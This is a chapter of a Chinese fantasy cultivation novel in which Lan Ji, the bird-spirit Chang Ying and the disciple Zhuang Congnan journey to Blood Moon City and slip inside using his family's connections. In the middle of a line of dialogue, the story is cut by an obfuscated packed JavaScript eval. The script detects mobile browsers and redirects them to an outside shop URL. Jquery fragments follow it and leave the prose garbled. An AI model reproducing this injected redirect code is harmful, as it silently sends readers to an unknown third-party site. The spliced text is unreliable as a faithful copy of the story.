血月城位于整座大陆的中心,兰霁他们只需要一路向北,便可以抵达。
说是他们二人从简而行,可临出发之际,兰霁的徒弟站了一溜儿堵住了山门,说什么都要让兰霁带他们上路。
理由倒也充分,他们二人从没有在这片大陆的其他城池生活过,不带一个当地的向导,不方便办事。
兰霁沉吟片刻,不得不承认,徒弟说的话在理。
最终经过一番激烈的角逐,兰霁决定带八徒弟庄从南一同上路。原因无他,只因为庄从南家里是开镖局的,他自小走南闯北,见过不少世面。
归起元不服气,刚想说什么。
兰霁便语重心长地说:“起元啊,为师不在的日子里,兰影宗就靠你了。”
归起元一愣,明白了自己大弟子的职责所在,瞬间他便感觉肩膀上有沉甸甸的责任。心里纵使有千言万语,此刻,他也只能红着眼眶对兰霁说:“师傅,早日回来。我们在家里等你。”
兰霁沉声说:“知道了,你照顾好师弟们,不必担心,为师定然会平安归来。”
随后兰霁递给了归起元一件法宝说:“这是传音符,纵使相隔千里万里,也能互通音讯,若有急事,可用此符联系为师和长赢大人。”
归起元尊敬地说:“徒儿知道了。”
长赢不耐烦看这些煽情的戏码,打断道:“走不走了?再不走天都要黑了!”
临别又是一番拉扯,终于在长赢的催促之下,他们三人踏上了前往血月城的漫漫长路。
****
出远门对于长赢来说,实在不算什么难事。毕竟她双翅一展,便是一日千里。
但长赢没想到的是,兰霁的这位八徒弟,号称踏遍了凌虚大陆的庄从南,他居然恐高!
长赢已经纡尊降贵地驮了两个累赘了,结果其中一个累赘说,他恐高,晕鸟,要吐她身上?
是可忍孰不可忍。
于是怒不可遏的长赢一怒之下怒了一下,将两个累赘扔了下来,并且宣布了罢工。
在最有效率的交通工具失效之后,三人只能采用最原始的方式,步行前往血月城。
换做步行之后,前进的速度断崖下跌,三人走了半日,还没走出兰影宗附近的山谷。若要到血月城,更是不知何年何月了。
一向好脾气的兰霁受不了了,转过头,慈爱地对着自己的徒儿说:“小八,我有一个好办法,你想不想听一下?”
庄从南好奇地说:“师傅,你说。”
兰霁倒糖豆一样,从玉瓶里倒出一颗碧绿的药丸,递给庄从南说:“小八,这是你二师兄炼制的安睡丸,你吃了好好睡一觉,等你睡醒了我们就到了。”
庄从南也觉得这是个好办法,再加上这是师傅给的药,于是他没多想就吃了下去。庄从南疑惑地说:“师傅,这丹药味道好像补气丹啊·······”
他话还没说完,就被兰霁敲晕了过去。
兰霁面无表情的说:“好了,问题解决。我们立刻起飞吧。”
在旁边看到了全过程的长赢翻了一个大白眼,没好气地说:“你那补气丹哄孩子,再把他敲晕,这就是你的好办法?你不怕你徒弟被敲傻吗?”
兰霁摸了摸下巴,思索了一下说:“我下手的角度和力道很完美,应该没事。”
可真够不要脸的,长赢在心里默默吐槽。
解决了大问题之后,他们再上路,速度果然快了很多。
当晚他们便到了血月城附近的山头,准备修整一晚,第二天进城。
长赢看着一边晕倒在地的庄从南,用脚拨了拨,喊道:“喂,醒醒。”
庄从南一动不动。
长赢对着兰霁说:“坏了,你徒弟挂了。”
兰霁翻了个白眼说:“你徒弟才挂了,明明是你唤醒的方式不对。”
兰霁不知从哪个法宝里变出一大盆冰水,朝着庄从南的脸就泼了下去。
溅起的水花弄湿了长赢的靴子,长赢不禁后退了几步。
庄从南悠悠转醒,他晕晕乎乎地睁开了眼睛,迷迷糊糊地说:“师傅,我头好痛啊。”
长赢:“得,真傻了。”
兰霁端起慈父架势,开始哄小孩:“小八,睁开眼,看看我们在哪里了?”
庄从南跟随兰霁的手望去,一轮血红的月亮出现在天空之上。
庄从南张大了嘴说:“这是…..我们已经到血月城了?”
****
血月城城如其名,头顶悬挂着一轮血红色的月亮,昼夜不停,永远地挂在血月城的上空。
传说这是血月城先祖练就的独特功法,能够使日月变色,四时停顿。
要知道四时轮转,日月交替乃是天道。这功夫难道逆天而行?
传说十分邪乎,长赢倒是十分好奇,想见识一下这传说中违逆天道的功法。
从庄从南的絮絮叨叨中他们知道了,目前血月城的城主叫花景,是个厉害人物。
出身并不高贵,是前任城主流落在外的私生女。生母卑贱,不过是一青楼女,她自小在欢场长大,见惯世间冷眼。花景硬是凭借自己的能力从欢场迈进了血月城的权利中心,将一个个世家子压的不得翻身。自她上位以来,手腕狠辣地杀了一批又一批的反对者,她用死人的白骨建了一座高台,听说高台周围每天夜晚都能听到鬼哭狼嚎的声音。
庄从南猜测,扣下龙岩,让他们自投罗网的主意就是她出的。
听完故事长赢感慨道:“真女人啊…..”
在场的两位男性不可置信地回头看了长赢一眼,似乎不明白她如何说出这般丧心病狂的话。
长赢理所当然地说:“这般心性,不论男女,都值得敬佩。”
庄从南弱弱地反驳道:“可她杀人如麻,不是好人啊······”
长赢嗤笑了一声说:“少年人,你还是太年轻了,看人不是这般看法。满嘴仁义道德的未必是善人,满手鲜血的也未必是恶人。这世间的好坏,看的不过是你的立场。”
庄从南一脸迷茫,长赢也不是好为人师的人,于是这个话题便这般戛然而止。
*****
夜晚匆匆而过,第二日的太阳准时升起。
湛蓝的天空之下同时悬挂着太阳和月亮这等奇观,看上去倒是别有一番风味。
今日便是要入城的日子,兰霁和长赢在思考如何能不惊动守卫的前提下混入城中,着实是有点难度。
长赢:“实在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313400|137103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不行,就杀入城中,我来开道,保证杀到花景面前。”
兰霁摇了摇头说:“太暴力了,这样干我们就完全丧失了合作的可能性。”
长赢:“那你有什么好主意吗?”
兰霁皱眉:“让我想想。”
听到了二人交谈的庄从南举起了手,弱弱的说:“我有个办法,我们家是开镖局的,在各处城池都有点关系,我能搞得来血月城的入城令。”
兰霁眉开眼笑地说:“小八,有关系你不早说,还让为师担心这么久。”
庄从南小声的说:“我从第一天上路就说了啊,我们家是开镖局的······”
庄从南没说谎,他们家确实有点关系。这小子居然真的大摇大摆地把他们两从城门口弄了进来,还安排了一个良民的身份。
长赢问起了庄从南:“他们难道不知道你已经拜入了兰影宗?怎么你还能如此畅行无阻地进入血月城?”?
兰霁也摸着下巴问:“是啊小八,我兰影宗的人应该已经上了这九城的通缉榜才对,你家里不怕受牵连吗?”
庄从南不好意思地挠了挠头说:“我自己偷跑出来拜师的,我家里不知道。而且······我用的是假名。”
???
突然得知自家徒弟用了个假名的兰霁,心情极度复杂,一时不知道说什么才好。说这孩子蠢吧,他还知道用个假名字。说这孩子聪明吧,却自己上了贼船。
兰霁无语地问:“我一直忘记问你,你到底为什么非要拜我为师?看你的家世,你应该不缺老师才对。”
庄从南一脸崇拜的说:“当然是因为我佩服你啊师傅!十城共治的格局已经存在了上万年了,你是唯一一个试图打破这种局面而且还成功了的人。”
这倒是令人意料之外的答案。
不过也符合兰霁开挂一般的命格,兰霁帝君一般的命格,注定是风云变幻,聚集世间气运的。
长赢像是想到了什么一般,笑着说:“你们家人还蛮有眼光的,对了,你有姐姐吗?”
这是什么问题?
庄从南一脸迷茫的说:“我在家排行老三,并无姐姐,但我有一个妹妹。”
长赢感慨地说:“妹妹好啊,妹妹年轻娇嫩,好福气啊······”
长赢对着兰霁但笑不语,因为长赢的表情太过于诡异,兰霁下意识觉得后背发冷。
兰霁下意识的开始转换话题:“我们首先要联系上龙岩,小八,你可能打听到龙岩现在在何处?”
庄从南皱着眉头思索着自家的人脉,半晌才说:“有时有,只是我想知道,师傅你为何一定要见龙岩?”
兰霁:“我需要直到除了龙岩之外,其他的掌权人,对我的提议是什么态度。”
庄从南追问道:“师傅你给龙岩的,是什么提议呢?”
兰霁:“统一凌虚界域,打破界域屏障,让此界修士也能在这世间自由来去。”
庄从南没有问兰霁是如何知道这方世界的人无法出去,只是认真的问:“师傅真有让我们都能出去的法子?”
兰霁肯定的说:“有。”
庄从南长呼了一口气说:“好,有了师傅这句话,师傅的要求,我都会尽力帮您办到。”